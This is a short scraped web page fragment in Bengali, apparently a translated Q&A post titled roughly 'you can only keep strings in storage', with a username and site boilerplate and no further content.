আপনি কেবল স্টোরেজে স্টিং রাখতে পারবেন
TheMisir
আমাদের সাইট ব্যবহার করে, আপনি স্বীকার করেছেন যে আপনি আমাদের কুকি নীতি এবং গোপনীয়তা নীতিটি পড়েছেন এবং বুঝতে পেরেছেন ।
Licensed under cc by-sa 3.0 with attribution required.